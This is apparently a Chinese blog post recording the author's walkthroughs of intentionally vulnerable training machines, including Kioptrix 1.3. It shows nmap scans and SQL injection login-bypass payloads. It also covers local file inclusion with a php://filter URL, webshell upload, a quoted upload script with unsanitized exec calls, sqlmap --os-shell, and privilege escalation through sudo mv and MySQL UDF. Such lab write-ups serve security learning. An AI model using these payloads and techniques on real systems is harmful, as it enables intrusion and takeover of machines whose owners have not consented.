Running (JUST GUESSING): Linux 2.6.X|4.X (98%), Kronos embedded (92%), ipTIME embedded (92%), Linksys embedded (91%), Suga embedded (91%), Google Android 4.0.X (91%), Extreme Networks ExtremeXOS 15.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:4.4 cpe:/h:iptime:pro_54g cpe:/h:linksys:rv042 cpe:/h:linksys:wrv54g cpe:/o:google:android:4.0.4 cpe:/o:extremenetworks:extremexos:15.3
Aggressive OS guesses: Linux 2.6.24 - 2.6.25 (98%), Linux 2.6.35 (95%), Linux 2.6.22 (SPARC) (95%), Linux 2.6.18 - 2.6.24 (93%), Linux 2.6.9 - 2.6.33 (93%), Linux 4.4 (92%), Kronos InTouch timeclock (92%), ipTIME PRO 54G WAP (92%), Linux 2.6.18 - 2.6.32 (92%), Linux 2.6.22 (embedded, ARM) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

扫描出了目标的banner与版本信息

  • tcp漏扫:
PORT   STATE SERVICE                                                        
80/tcp open  http                                                            
|_http-trace: TRACE is enabled                                              
| http-csrf:                                                                 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.59.151                                     
|   Found the following possible CSRF vulnerabilities:                        
|                                                          
|     Path: http://192.168.59.151:80/?page=login.php                                                                  
|     Form id:                                             
|     Form action: /index.php?page=login.php               
|                                                          
|     Path: http://192.168.59.151:80/index.php?page=login.php                                                         
|     Form id:                                             
|_    Form action: /index.php?page=login.php               
| http-slowloris-check:                                    
|   VULNERABLE:                                            
|   Slowloris DOS attack                                   
|     State: LIKELY VULNERABLE                             
|     IDs:  CVE:CVE-2007-6750                              
|       Slowloris tries to keep many connections to the target web server open and hold                               
|       them open as long as possible.  It accomplishes this by opening connections to                                
|       the target web server and sending a partial request. By doing so, it starves                                  
|       the http server's resources causing Denial Of Service.                                                        
|                                                          
|     Disclosure date: 2009-09-17                          
|     References:                                          
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750                                                  
|_      http://ha.ckers.org/slowloris/                     
| http-sql-injection:                                      
|   Possible sqli for queries:                             
|     http://192.168.59.151:80/?page=login.php%27%20OR%20sqlspider                                                    
|     http://192.168.59.151:80/index.php?page=login.php%27%20OR%20sqlspider                                           
|     http://192.168.59.151:80/?page=login.php%27%20OR%20sqlspider                                                    
|     http://192.168.59.151:80/?page=login.php%27%20OR%20sqlspider                                                    
|     http://192.168.59.151:80/index.php?page=login.php%27%20OR%20sqlspider                                           
|_    http://192.168.59.151:80/?page=login.php%27%20OR%20sqlspider                                                    
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)                                         
|_http-dombased-xss: Couldn't find any DOM based XSS.                                                                 
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.                                                      
| http-enum:                                               
|   /login.php: Possible admin folder                      
|   /login/: Login page                          S          
|   /home/: Potentially interesting folder                 
|   /icons/: Potentially interesting folder w/ directory listing                                                      
|   /img/: Potentially interesting folder                  
|   /index/: Potentially interesting folder                
|   /misc/: Potentially interesting folder                 
|   /transfer/: Potentially interesting folder             
|_  /upload/: Potentially interesting folder   

web初探

首先验证nmap的tcp漏扫结果,排除其他相对无价值信息,尝试验证sql注入。 点击Login跳转到一个很简陋的登录表单,都输入',观察页面回显' 2024-10-08-16-08-25 说明被带入执行了,并且可能是报错注入。

sql注入万能密码登录

尝试万能密码1' or 1=1--+后不行,但是把+直接替换成空格后,发现直接登录成功了。 2024-10-08-17-36-23 该功能点可尝试上传文件: 2024-10-09-14-26-28 然而上传后提示当前用户受限。

评估功能点价值

Directory可能隐藏着一些有价值的与用户凭据相关信息,尤其是筛选时字段为Department: Administration的角色,暂时放在一边;

Message Board中的留言信息暴露了开发人员在开发运维的生产活动中做了一些备份、计划任务、针对频繁的ssh暴力攻击采取的配置等动作,这对于我们来说会非常感兴趣,推测当提权时能利用上;

Calender中则是近期的一些日程安排,很有可能一些凭据线索也能从中提取,尤其是时间、人名、地名;

最后,Security中通过不同的选项,会显示对应的不同内容,从该展示效果就可以初步推测可能存在文件包含漏洞,通过查看源码进一步加深这种可能性: 2024-10-09-15-00-50 因为不同复选框选项对应展示不同文件内容, 通过尝试路径遍历虽没成功但也暴露出与文件包含相关线索: 2024-10-09-15-02-52 另外观察url的特点,和文件包含的payload一样: 2024-10-09-15-09-21来源库

(失败尝试)fuzz本地文件包含

既然page参数存在利用可能性,可以尝试fuzz对应的payload,因为目标可能做了过滤措施: 2024-10-09-15-19-29 结合nmap操作系统扫描结果,因此尝试适用于类unix的字典。 利用burp的Intruder模块: 2024-10-09-15-24-29 2024-10-09-15-25-58 尝试后,根据响应情况来看并没啥收获。

(根据返回提示做进一步尝试)文件上传用户枚举

回顾前面失败的文件上传尝试,重新用burp捕获POST请求包时发现,cookie值是对应uid的,结合返回提示,自然可以联想到对该处的id进行枚举: 2024-10-09-16-28-20 尝试后,根据响应长度快速枚举出了能够成功实现文件上传的uid: 2024-10-09-16-29-46 并能成功上传哥斯拉webshell: 2024-10-09-17-02-56 但很可惜,即使通过目录爆破(Cookie指定uid=2)试图寻找更多其他有趣的目录,并没有找到webshell被上传到的路径,放弃。

(视频提示)修改前端成功实现本地文件包含

反思前面的失败尝试,发现尝试中fuzz的对象搞错了,因为一开始怀疑存在漏洞的位置是在前端复选框中,而不是在url,虽然两者效果很相似。修改其中一个包含的文件名: 2024-10-09-17-21-54 无法读取到/etc/shadow,但显然只是该用户无权限访问,而前面通过sql注入万能密码登录进一个默认账户,这不是唯一选择,还有一些来自于/etc/passwd暴露出的非功能性用户名可以尝试。

(视频提示)进一步尝试sql注入登录高权限用户

自己尝试的时候用了很多payload都无效,看了视频发现可以这样精心构造逻辑: 2024-10-10-14-02-51 尝试换一个用户,账号密码都输入相同的payload,发现登陆进去依然还是默认的alamo用户;尝试用户名保持不变,密码随意输入,则提示了错误用户名或密码: 2024-10-10-14-05-14 说明存在注入点的位置可能并不在用户名处,而是密码处。用户名保持不变,密码尝试直接输入',发现产生了语法报错,说明被成功带入执行了: 2024-10-10-14-08-38 根据报错重新构造payload:

cvestonesec
' or username='etenenbaum'-- 

SELECT * FROM accounts WHERE username='cvestonesec' AND password='' or username='etenenbaum'-- ' 仔细观察拼接后的sql语句会发现原来的逻辑都相当于无效了,即0 AND 0 or 我们控制的真逻辑部分,整体的结果就为1,所以直接绕过了,此时如果数据库中存在该用户名,不需要输入正确密码就可以实现登录,该新用户依然无权限访问: 2024-10-10-14-26-32 尝试后,所有用户都无法访问到(包括admin和administrator)

***(视频提示)反思欠考虑的点、通过标题含义猜测上传路径

观看视频演示,发现在测试本地文件包含时我遗漏了一个点未考虑到,即前端表单通过文件包含查看指定文件内容时,还可以通过在url表单上添加对应参数查看: 2024-10-10-14-50-31 另外前面文件上传时,还遗漏了对上传路径的猜测,实际上通过标题的含义可以做推测: 2024-10-10-14-52-28 因为这个功能名叫家目录上传器,自然要想到上传的路径与家目录相关,因此推测路径为:http://192.168.59.151/~etenenbaum/2024-10-10-14-57-59 发现之前上传成功的webshell就上传在此处!果然细节决定成败。但这里的文件大小却是0,显得很奇怪,无法成功解析,依旧是权限或其他未知问题: 2024-10-10-15-01-09

(视频提示)通过文件包含尝试获取源码内容

既然之前文件包含都能够读取系统级文件,也不要忽略了网站源码,因为上面利用文件上传漏洞受阻,故优先考虑查看与之相关的: 2024-10-10-15-17-12
2024-10-10-15-18-07 注意到这里包含的源码中有部分还是直接被解析了,所以可以利用php伪协议来实现将源码base64编码保证源码的完整和可读性: http://192.168.59.151/index.php?page=ssp.php&&text_file_name=php://filter/read=convert.base64-encode/resource=transfer.php 对结果解码后:

<?php 
if ( $auth == 0 ) {
        echo "<center><h2>Content Restricted</h2></center>";
} else {
	if ( $upload == 1 )
	{
		$homedir = "/home/".$logged_in_user. "/";
		$uploaddir = "upload/";
		$target = $uploaddir . basename( $_FILES['uploaded']['name']) ;
		$uploaded_type = $_FILES['uploaded']['type'];
		$command=0;
		$ok=1;

		if ( $uploaded_type =="application/gzip" && $_POST['autoextract'] == 'true' ) {	$command = 1; }

		if ($ok==0)
		{
			echo "Sorry your file was not uploaded";
			echo "<a href='?index.php?page=upload.php' >Back to upload page</a>";
		} else {
        		if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target))
			{
				echo "<h3>The file '" .$_FILES['uploaded']['name']. "' has been uploaded.</h3><br />";
				echo "The ownership of the uploaded file(s) have been changed accordingly.";
				echo "<br /><a href='?page=upload.php' >Back to upload page</a>";
				if ( $command == 1 )
				{
					exec("sudo tar xzf " .$target. " -C " .$homedir);
					exec("rm " .$target);
				} else {
					exec("sudo mv " .$target. " " .$homedir . $_FILES['uploaded']['name']);
				}
				exec("/var/apache2/htdocs/update_own");
        		} else {
				echo "Sorry, there was a problem uploading your file.<br />";
				echo "<br /><a href='?page=upload.php' >Back to upload page</a>";
			}
		}
	} else { echo "<br /><br /><h3>Home directory uploading disabled for user " .$logged_in_user. "</h3>"; }
}

分析关键逻辑,$command代表是否要执行解压等操作,当上传文件的mime类型为application/gzip且解压按钮激活,此时将$command置1,同时并未对上传文件的类型做黑白名单限制,然后关键在于置1后,先用tar对上传的临时文件打包到当前用户对应home目录下,然后删除临时文件;不解压则是直接移动。最后,执行脚本/var/apache2/htdocs/update_own,那么显然之前文件上传失败很可能就与该脚本有关系,因为当时并没有勾选解压,脚本未执行。同样用文件包含查看脚本内容: 2024-10-10-17-27-24 更新各个用户家目录权限所有者,那么这很可能就与之前访问webshell的报错有关系。所以重新将webshell用tar打包再上传,激活自动解压按钮。但发现上传成功了却没有在家目录看到解压过后的新webshell。 猜测是mime类型出了问题,尝试用burp拦截: 2024-10-10-19-39-01 mime类型符合源代码中的条件判断,但依然还是同样的问题。

到这一步就卡住了不知道为什么上传了却未出现解压后的文件,以及即使出现了却无法访问成功webshell。(已解决)

(视频补充部分)kali自带的可自定义php反弹shell

2024-10-09-14-33-00 注意这里要修改成攻击机器的: 2024-10-09-14-33-51

获取到立足点

后来重置了靶机后,重新尝试上述步骤,成功: 2024-10-11-10-14-32 发现尝试提升交互体验的shell没有完全生效,但同样还可以用python,查看目标软件包中是否安装了它: 2024-10-22-14-39-59 所以: 2024-10-22-14-42-40 先进入刚才网站根目录查看是否有一些感兴趣文件: 2024-10-22-14-43-37 暴露了数据库凭据,但无法实现root连接。

(视频提示)权限提升

提权这里卡了有点久,主要是积累的少,对原理没有深入理解透。 结合上面的suid文件与当前用户可执行的root命令来看,提权的思路很明确,因为当前用户可以执行root的/bin/mv,这就给了我们很大权限用于覆盖文件从而实现一些特殊操作,尤其是权限提升时很实用。由于最终目的是要弹出root的shell,而首先想到/bin/bash,但它不是suid文件,翻看suid列表中显然只有/bin/su的功能符合,但如果直接它,会提示我们输入当前用户密码,对应返回的shell也是普通用户,而它欠缺的条件正好又是sudo -l中的文件具有的,而mv覆盖前后发现权限与所有组也没有发生变化,那么此时自然就会想到给/bin/su附加上能够以root用户来执行这个条件,而像这样高权限的文件也必须具有高权限命令才能编辑,/bin/mv正好满足,因此: 2024-10-22-14-56-58 其中覆盖掉sudo -l结果中任何一个文件都可以实现。

复盘总结

学到的

Billub0x

信息搜集

Kioptrix1.3

信息搜集

2024-11-12-15-42-26
2024-11-12-15-43-11

2024-11-12-15-48-39
2024-11-12-15-52-59

web渗透

2024-11-12-16-12-00
密码无效,要么是兔子洞要么是备份

username: john' or 1=1 -- 
password: john' or 1=1 -- 

2024-11-12-16-11-34

username: john
password: john' or 1=1 -- 

2024-11-12-16-09-34

2024-11-12-16-20-28

2024-11-12-16-24-11
很可能存在本地文件包含,因为各用户对应界面对应php文件是直接通过username参数来包含访问的,其中etc被替换为空,单独的/被替换为//

2024-11-12-16-59-49
可找到包含的逻辑规律:
xx/xx.php,其中xx是传递给username的参数值,如果存在,其绝对路径是/usr/share/php/xx/usr/share/pear/xx

2024-11-12-17-18-15
2024-11-12-17-18-37
2024-11-12-17-19-08
说明存在LFI,可以用%00来截断干扰部分。参考hacktricks

尝试使用日志包含的方式来绕过字符串“etc”的过滤,但是读取常见的几个apache日志所在路径都没有,且似乎只有file://伪协议可以用,但能获取到的很有限,因此这条路径暂时放弃。

重新回过头来尝试sql注入,注意到php版本低于php 5.7.6,因此可尝试写入webshell:
2024-11-13-11-26-00
但是没能连接成功。

但通过sqlmap的--os-shell选项拿到了低权限用户www的shell:
2024-11-13-11-46-10
2024-11-13-11-46-18
当前用户是www,仅能查看当前web根目录下的文件源码:
image.png
还可以尝试dump出该表的信息:
image.png
ssh连接尝试:
问题解决:
image.png
加这两个参数就行:-o HostkeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa

两个用户都能连,但可用命令与权限都太少,且试图执行两次越权操作后被强制踢掉。尝试连接源码中泄露的mysql凭据,该命令也无法执行,尝试用python提高shell交互,仍然无法执行。

(查看提示)还可以用echo os.system('/bin/bash')提高交互:
image.png

权限提升

root连接成功,查看是否满足UDF提权条件:
image.png
为空,说明未限制文件操作目录,存在风险。尝试利用:
首先要准备udf漏洞利用的源码:
image.png
编译生成利用的共享库:
image.png
回到sqlmap拿到的www用户shell,可以发现sqlmap自动在当前网站根目录下创建了一些临时页面,既有显示查询到的用户凭据信息(实际上是个后门界面,sqlmap的输出中有显示),又有文件上传的功能点:
image.png

image.png
为了保证权限最大化,将上面生成的共享库文件传到/tmp
image.png
回到mysql连接,执行sql语句尝试将udf.so中定义的高权限执行系统命令函数导入mysql,通过mysql以高权限执行系统命令:
具体是通过创建一个临时的二进制大文件类型的foo表,读取udf.so中的数据并导入其中,再将该表导出到mysql的插件目录中以便使用该动态库,导出时失败,查找该版本的mysql插件目录却没返回结果:
image.png
由于目标是debian系,解决如下:

image.png
注意该shell下的vim由于编码等原因,容易使键盘输入映射混乱,导致各个键盘敲击后本身代表的含义混乱,经过尝试后,操作顺序如下:不断敲击Enter(类似于down) 直到末尾 -> i输入模式 -> Enter(正常) -> esc -> b(类似于up) -> i -> 空格(正常) -> 输入内容 -> esc 并正常保存退出。
遗憾的是没有办法保存,当前用户权限不够无法操作:
image.png
image.png
手工利用无法执行,还可以尝试在sqlmap中直接利用,因为sqlmap中有可能已经包含了udf提权操作,从高级用法中搜索:
**image.png
image.png
sqlmap高级操作白皮书

尝试利用时报错提示udf注入需要目标具有堆叠注入漏洞:
image.png

(查看提示)通过其他人的wp,发现忽略了应先对目标mysql拥有的函数进行查询:
image.png
原来目标早就已经存在这样一个危险函数了,可以直接利用:
image.png

(待整理) 2024-06-18-10-30-21

2024-06-18-10-30-28

2024-06-18-10-30-38

  • alipay_img
  • wechat_img
此作者没有提供个人介绍
最后更新于 2024-11-19